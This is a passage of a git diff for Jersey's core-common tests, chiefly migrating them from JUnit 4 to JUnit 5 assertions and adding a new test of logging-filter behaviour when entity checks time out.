b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ByteBufferInputStreamTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,13 +27,13 @@ import org.glassfish.jersey.internal.LocalizationMessages; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * {@link ByteBufferInputStream} unit tests. @@ -200,14 +200,14 @@ public void run() { Thread.yield(); // Give the other thread a chance to run. continue; } - assertEquals("At position: " + j, (byte) (i & 0xFF), (byte) (c & 0xFF)); + assertEquals((byte) (i & 0xFF), (byte) (c & 0xFF), "At position: " + j); if (++j % BUFFER_SIZE == 0) { i++; Thread.yield(); // Give the other thread a chance to run. } } - assertEquals("Number of bytes produced and bytes read does not match.", ROUNDS * BUFFER_SIZE, j); + assertEquals(ROUNDS * BUFFER_SIZE, j, "Number of bytes produced and bytes read does not match."); } finally { executor.shutdownNow(); bbis.close(); @@ -272,7 +272,7 @@ public void run() { continue; } for (int p = 0; p < c; p++) { - assertEquals("At position: " + j, (byte) (i & 0xFF), (byte) buffer[p]); + assertEquals((byte) (i & 0xFF), (byte) buffer[p], "At position: " + j); if (++j % BUFFER_SIZE == 0) { i++; Thread.yield(); // Give the other thread a chance to run. @@ -280,7 +280,7 @@ public void run() { } } - assertEquals("Number of bytes produced and bytes read does not match.", ROUNDS * BUFFER_SIZE, j); + assertEquals(ROUNDS * BUFFER_SIZE, j, "Number of bytes produced and bytes read does not match."); } finally { executor.shutdownNow(); bbis.close(); @@ -338,16 +338,16 @@ public void run() { int j = 0; int c; while ((c = bbis.read()) != -1) { - assertNotEquals("Should not read 'nothing' in blocking mode.", Integer.MIN_VALUE, c); + assertNotEquals(Integer.MIN_VALUE, c, "Should not read 'nothing' in blocking mode."); - assertEquals("At position: " + j, (byte) (i & 0xFF), (byte) c); + assertEquals((byte) (i & 0xFF), (byte) c, "At position: " + j); if (++j % BUFFER_SIZE == 0) { i++; Thread.yield(); // Give the other thread a chance to run. } } - assertEquals("Number of bytes produced and bytes read does not match.", ROUNDS * BUFFER_SIZE, j); + assertEquals(ROUNDS * BUFFER_SIZE, j, "Number of bytes produced and bytes read does not match."); } finally { executor.shutdownNow(); bbis.close(); @@ -406,10 +406,10 @@ public void run() { int c; byte[] buffer = new byte[443]; while ((c = bbis.read(buffer)) != -1) { - assertNotEquals("Should not read 0 bytes in blocking mode.", 0, c); + assertNotEquals(0, c, "Should not read 0 bytes in blocking mode."); for (int p = 0; p < c; p++) { - assertEquals("At position: " + j, (byte) (i & 0xFF), buffer[p]); + assertEquals((byte) (i & 0xFF), buffer[p], "At position: " + j); if (++j % BUFFER_SIZE == 0) { i++; Thread.yield(); // Give the other thread a chance to run. @@ -417,7 +417,7 @@ public void run() { } } - assertEquals("Number of bytes produced and bytes read does not match.", ROUNDS * BUFFER_SIZE, j); + assertEquals(ROUNDS * BUFFER_SIZE, j, "Number of bytes produced and bytes read does not match."); } finally { executor.shutdownNow(); bbis.close(); @@ -446,7 +446,7 @@ public void testAvailable() throws Exception { data.flip(); bbis.put(data); - assertEquals("Available bytes", BUFFER_SIZE, bbis.available()); + assertEquals(BUFFER_SIZE, bbis.available(), "Available bytes"); data = ByteBuffer.allocate(BUFFER_SIZE); data.clear(); @@ -456,27 +456,27 @@ public void testAvailable() throws Exception { data.flip(); bbis.put(data); - assertEquals("Available bytes", 2 * BUFFER_SIZE, bbis.available()); + assertEquals(2 * BUFFER_SIZE, bbis.available(), "Available bytes"); int c = bbis.read(); - assertEquals("Byte read", 'A', c); - assertEquals("Available bytes", 2 * BUFFER_SIZE - 1, bbis.available()); + assertEquals('A', c, "Byte read"); + assertEquals(2 * BUFFER_SIZE - 1, bbis.available(), "Available bytes"); byte[] buff = new byte[199]; int l = bbis.read(buff); - assertEquals("Number of bytes read", buff.length, l); - assertEquals("Available bytes", 2 * BUFFER_SIZE - 200, bbis.available()); + assertEquals(buff.length, l, "Number of bytes read"); + assertEquals(2 * BUFFER_SIZE - 200, bbis.available(), "Available bytes"); buff = new byte[1000]; l = bbis.read(buff); - assertEquals("Number of bytes read", buff.length, l); - assertEquals("Available bytes", 2 * BUFFER_SIZE - 1200, bbis.available()); + assertEquals(buff.length, l, "Number of bytes read"); + assertEquals(2 * BUFFER_SIZE - 1200, bbis.available(), "Available bytes"); bbis.closeQueue(); l = bbis.read(buff); - assertEquals("Number of bytes read", 2 * BUFFER_SIZE - 1200, l); - assertEquals("Available bytes", 0, bbis.available()); + assertEquals(2 * BUFFER_SIZE - 1200, l, "Number of bytes read"); + assertEquals(0, bbis.available(), "Available bytes"); bbis.close(); } @@ -557,8 +557,8 @@ private void testAction(Task task, String exMsg, boolean retryFailOnClosed) thro task.run(); fail("IOException expected."); } catch (IOException ex) { - assertNotNull("Custom exception cause", ex.getCause()); - assertEquals("Custom exception cause message", exMsg, ex.getCause().getMessage()); + assertNotNull(ex.getCause(), "Custom exception cause"); + assertEquals(exMsg, ex.getCause().getMessage(), "Custom exception cause message"); } if (retryFailOnClosed) { @@ -566,8 +566,8 @@ private void testAction(Task task, String exMsg, boolean retryFailOnClosed) thro task.run(); fail("IOException expected."); } catch (IOException ex) { - assertEquals("Closed IOException message", LocalizationMessages.INPUT_STREAM_CLOSED(), ex.getMessage()); - assertNull("Closed IOException cause", ex.getCause()); + assertEquals(LocalizationMessages.INPUT_STREAM_CLOSED(), ex.getMessage(), "Closed IOException message"); + assertNull(ex.getCause(), "Closed IOException cause"); } } else { task.run(); diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorHashMapTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorHashMapTest.java index 9d71c1dc9cc..fcafac578a4 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorHashMapTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorHashMapTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,7 @@ package org.glassfish.jersey.internal.util.collection; -import org.junit.Test; +import org.junit.jupiter.api.Test; /** * diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorLinkedHashMapTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorLinkedHashMapTest.java index 48000b0edd5..9e8ec188e92 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorLinkedHashMapTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/KeyComparatorLinkedHashMapTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,7 @@ package org.glassfish.jersey.internal.util.collection; -import org.junit.Test; +import org.junit.jupiter.api.Test; /** * @author Paul Sandoz diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ViewsTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ViewsTest.java index 11bb457c29d..c7be09dfddb 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ViewsTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ViewsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,10 +24,10 @@ import java.util.Map; import java.util.Set; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.fail; /** * @author Pavel Bucek diff --git a/core-common/src/test/java/org/glassfish/jersey/logging/HasEntityTimeoutTest.java b/core-common/src/test/java/org/glassfish/jersey/logging/HasEntityTimeoutTest.java new file mode 100644 index 00000000000..39773c6cda6 --- /dev/null +++ b/core-common/src/test/java/org/glassfish/jersey/logging/HasEntityTimeoutTest.java @@ -0,0 +1,277 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.logging; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.UriInfo; +import org.junit.jupiter.api.Test; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.SocketTimeoutException; +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + + +public class HasEntityTimeoutTest { + + private enum DirectionType { + INBOUND, + OUTBOUND + } + + private static class UriInfoHandler implements InvocationHandler { + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + switch (method.getName()) { + case "getRequestUri": + return URI.create("http://localhost:8080/get"); + } + return null; + } + } + + private static class RequestResponseHandler implements InvocationHandler { + private final DirectionType type; + + private RequestResponseHandler(DirectionType type) { + this.type = type; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + switch (method.getName()) { + case "hasEntity": + throw new ProcessingException(new SocketTimeoutException("Read timed out")); + case "getUri": + return URI.create("http://localhost:8080"); + case "getStringHeaders": + case "getHeaders": + return new MultivaluedHashMap(); + case "getMethod": + return "GET"; + case "getMediaType": + return MediaType.SERVER_SENT_EVENTS_TYPE; + case "getEntityStream": + return type == DirectionType.OUTBOUND + ? new ByteArrayOutputStream() + : new ByteArrayInputStream("entity".getBytes()); + case "getStatus": + return 200; + case "getUriInfo": + return Proxy.newProxyInstance( + UriInfo.class.getClassLoader(), + new Class[]{UriInfo.class}, + new UriInfoHandler()); + } + return null; + } + } + + @Test + public void testClientFilterTimedOut() throws IOException { + ClientLoggingFilter loggingFilter = new ClientLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.HEADERS_ONLY) + .maxEntitySize(10) + ); + + ClientRequestContext clientRequestContext = (ClientRequestContext) Proxy.newProxyInstance( + ClientRequestContext.class.getClassLoader(), + new Class[]{ClientRequestContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + loggingFilter.filter(clientRequestContext); + } + + @Test + public void testClientFilterTimedOutException() throws IOException { + ClientLoggingFilter loggingFilter = new ClientLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.PAYLOAD_ANY) + .maxEntitySize(10) + ); + + ClientRequestContext clientRequestContext = (ClientRequestContext) Proxy.newProxyInstance( + ClientRequestContext.class.getClassLoader(), + new Class[]{ClientRequestContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + try { + loggingFilter.filter(clientRequestContext); + throw new RuntimeException("The expected exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + } + + @Test + public void testClientFilterResponseTimedOut() throws IOException { + ClientLoggingFilter loggingFilter = new ClientLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.HEADERS_ONLY) + .maxEntitySize(10) + ); + + ClientRequestContext clientRequestContext = (ClientRequestContext) Proxy.newProxyInstance( + ClientRequestContext.class.getClassLoader(), + new Class[]{ClientRequestContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + + ClientResponseContext clientResponseContext = (ClientResponseContext) Proxy.newProxyInstance( + ClientResponseContext.class.getClassLoader(), + new Class[]{ClientResponseContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + loggingFilter.filter(clientRequestContext, clientResponseContext); + } + + @Test + public void testClientFilterResponseTimedOutException() throws IOException { + ClientLoggingFilter loggingFilter = new ClientLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.PAYLOAD_ANY) + .maxEntitySize(10) + ); + + ClientRequestContext clientRequestContext = (ClientRequestContext) Proxy.newProxyInstance( + ClientRequestContext.class.getClassLoader(), + new Class[]{ClientRequestContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + + ClientResponseContext clientResponseContext = (ClientResponseContext) Proxy.newProxyInstance( + ClientResponseContext.class.getClassLoader(), + new Class[]{ClientResponseContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + + try { + loggingFilter.filter(clientRequestContext, clientResponseContext); + throw new RuntimeException("The expected exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + } + + @Test + public void testServerFilterTimedOut() throws IOException { + ServerLoggingFilter loggingFilter = new ServerLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.HEADERS_ONLY) + .maxEntitySize(10) + ); + + ContainerRequestContext containerRequestContext = (ContainerRequestContext) Proxy.newProxyInstance( + ContainerRequestContext.class.getClassLoader(), + new Class[]{ContainerRequestContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + loggingFilter.filter(containerRequestContext); + } + + @Test + public void testServerFilterTimedOutException() throws IOException { + ServerLoggingFilter loggingFilter = new ServerLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.PAYLOAD_ANY) + .maxEntitySize(10) + ); + + ContainerRequestContext containerRequestContext = (ContainerRequestContext) Proxy.newProxyInstance( + ContainerRequestContext.class.getClassLoader(), + new Class[]{ContainerRequestContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + + try { + loggingFilter.filter(containerRequestContext); + throw new RuntimeException("The expected exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + } + + @Test + public void testServerFilterResponseTimedOut() throws IOException { + ServerLoggingFilter loggingFilter = new ServerLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.HEADERS_ONLY) + .maxEntitySize(10) + ); + + ContainerRequestContext containerRequestContext = (ContainerRequestContext) Proxy.newProxyInstance( + ContainerRequestContext.class.getClassLoader(), + new Class[]{ContainerRequestContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + + ContainerResponseContext containerResponseContext = (ContainerResponseContext) Proxy.newProxyInstance( + ContainerResponseContext.class.getClassLoader(), + new Class[]{ContainerResponseContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + + loggingFilter.filter(containerRequestContext, containerResponseContext); + } + + @Test + public void testServerFilterResponseTimedOutException() throws IOException { + ServerLoggingFilter loggingFilter = new ServerLoggingFilter( + LoggingFeature.builder() + .withLogger(Logger.getLogger(LoggingFeature.DEFAULT_LOGGER_NAME)) + .level(Level.INFO) + .verbosity(LoggingFeature.Verbosity.PAYLOAD_ANY) + .maxEntitySize(10) + ); + + ContainerRequestContext containerRequestContext = (ContainerRequestContext) Proxy.newProxyInstance( + ContainerRequestContext.class.getClassLoader(), + new Class[]{ContainerRequestContext.class}, + new RequestResponseHandler(DirectionType.INBOUND)); + + ContainerResponseContext containerResponseContext = (ContainerResponseContext) Proxy.newProxyInstance( + ContainerResponseContext.class.getClassLoader(), + new Class[]{ContainerResponseContext.class}, + new RequestResponseHandler(DirectionType.OUTBOUND)); + + try { + loggingFilter.filter(containerRequestContext, containerResponseContext); + throw new RuntimeException("The expected exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + } + +} diff --git a/core-common/src/test/java/org/glassfish/jersey/logging/LoggingInterceptorTest.java b/core-common/src/test/java/org/glassfish/jersey/logging/LoggingInterceptorTest.java index 796faeca0eb..ed4d5dc4b8c 100644 --- a/core-common/src/test/java/org/glassfish/jersey/logging/LoggingInterceptorTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/logging/LoggingInterceptorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,13 +25,13 @@ import java.util.Arrays; import java.util.Random; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.glassfish.jersey.logging.LoggingFeature.Verbosity.HEADERS_ONLY; import static org.glassfish.jersey.logging.LoggingFeature.Verbosity.PAYLOAD_ANY; import static org.glassfish.jersey.logging.LoggingFeature.Verbosity.PAYLOAD_TEXT; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.mockito.Matchers.any; import static org.mockito.Matchers.eq; import static org.mockito.Mockito.mock; diff --git a/core-common/src/test/java/org/glassfish/jersey/message/AbstractEncodingTest.java b/core-common/src/test/java/org/glassfish/jersey/message/AbstractEncodingTest.java index 11a3a977ab2..161b9b192f7 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/AbstractEncodingTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/AbstractEncodingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,8 +22,8 @@ import java.io.InputStream; import java.io.OutputStream; -import static org.junit.Assert.assertArrayEquals; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertArrayEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Super class for encoding tests - contains convenient way of defining the test by simply providing the encoding and diff --git a/core-common/src/test/java/org/glassfish/jersey/message/DeflateEncodingTest.java b/core-common/src/test/java/org/glassfish/jersey/message/DeflateEncodingTest.java index 880c42b0c24..e7e58ca76ae 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/DeflateEncodingTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/DeflateEncodingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -35,7 +35,7 @@ import jakarta.inject.Provider; -import org.junit.Test; +import org.junit.jupiter.api.Test; /** * @author Martin Matula diff --git a/core-common/src/test/java/org/glassfish/jersey/message/GZipEncodingTest.java b/core-common/src/test/java/org/glassfish/jersey/message/GZipEncodingTest.java index 43d81bc643d..d453668a54c 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/GZipEncodingTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/GZipEncodingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; -import org.junit.Test; +import org.junit.jupiter.api.Test; /** * @author Martin Matula diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/DateProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/DateProviderTest.java index 9c5a132c6ce..052ab284b07 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/DateProviderTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/DateProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,11 +16,11 @@ package org.glassfish.jersey.message.internal; -import org.junit.Test; +import org.junit.jupiter.api.Test; import java.util.Date; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Libor Kramolis diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/FormMultivaluedMapProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/FormMultivaluedMapProviderTest.java index cb6587c2367..16e79355a04 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/FormMultivaluedMapProviderTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/FormMultivaluedMapProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,10 +27,10 @@ import jakarta.ws.rs.core.MultivaluedHashMap; import jakarta.ws.rs.core.MultivaluedMap; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static junit.framework.Assert.assertEquals; -import static junit.framework.Assert.assertNull; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; /** * {@link FormProvider} unit tests diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/FormProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/FormProviderTest.java index 111c7dd3905..dd79bd34137 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/FormProviderTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/FormProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,10 +27,10 @@ import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static junit.framework.Assert.assertEquals; -import static junit.framework.Assert.assertNull; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; /** * {@link FormProvider} unit tests diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/LanguageTagTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/LanguageTagTest.java index f8be76924b2..bb82964d7d2 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/LanguageTagTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/LanguageTagTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,11 +18,12 @@ import java.util.Locale; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.equalToIgnoringCase; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Tests for {@link LanguageTag} class. @@ -38,9 +39,9 @@ public void testLanguageCountry() throws Exception { _test("CZ", "cs"); } - @Test(expected = IllegalArgumentException.class) + @Test public void testLanguageCountryInvalid() throws Exception { - _test("en", "gbgbgbgbgb"); + assertThrows(IllegalArgumentException.class, () -> _test("en", "gbgbgbgbgb")); } @Test diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/MessageBodyFactoryTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/MessageBodyFactoryTest.java index cffeaa036e5..2ce4d805dfc 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/MessageBodyFactoryTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/MessageBodyFactoryTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,10 +27,10 @@ import org.glassfish.jersey.message.WriterModel; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.fail; import static org.glassfish.jersey.message.internal.MessageBodyFactory.WORKER_BY_TYPE_COMPARATOR; @@ -46,9 +46,9 @@ public void testWorkerByTypeComparatorContract() { for (WriterModel a : list) { for (WriterModel b : list) { assertEquals( - "Comparator breaks contract: compare(a, b) != -compare(b, a)", -Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(a, b)), - Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(b, a))); + Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(b, a)), + "Comparator breaks contract: compare(a, b) != -compare(b, a)"); for (WriterModel c : list) { if (WORKER_BY_TYPE_COMPARATOR.compare(a, b) > 0 @@ -59,9 +59,9 @@ public void testWorkerByTypeComparatorContract() { if (WORKER_BY_TYPE_COMPARATOR.compare(a, b) == 0) { assertEquals( - "Comparator breaks contract: a == b but a < c and b > c or vice versa", Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(a, c)), - Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(b, c))); + Integer.signum(WORKER_BY_TYPE_COMPARATOR.compare(b, c)), + "Comparator breaks contract: a == b but a < c and b > c or vice versa"); } } } diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java index 5a4ba2fc5ba..bed34585cd8 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,11 +17,13 @@ package org.glassfish.jersey.message.internal; import jakarta.ws.rs.core.NewCookie; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Test; import java.util.Date; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + public class NewCookieProviderTest { private final NewCookie newCookie = new NewCookie( @@ -42,8 +44,8 @@ public class NewCookieProviderTest { public void SameSiteTest() { final NewCookieProvider provider = new NewCookieProvider(); final String newCookieString = provider.toString(newCookie); - Assert.assertTrue(newCookieString.contains("SameSite=STRICT")); - Assert.assertEquals(NewCookie.SameSite.STRICT, provider.fromString(newCookieString).getSameSite()); + assertTrue(newCookieString.contains("SameSite=Strict")); + assertEquals(NewCookie.SameSite.STRICT, provider.fromString(newCookieString).getSameSite()); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/QualityTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/QualityTest.java index 1856c92f1b1..3cf9bac3de3 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/QualityTest.java +++ 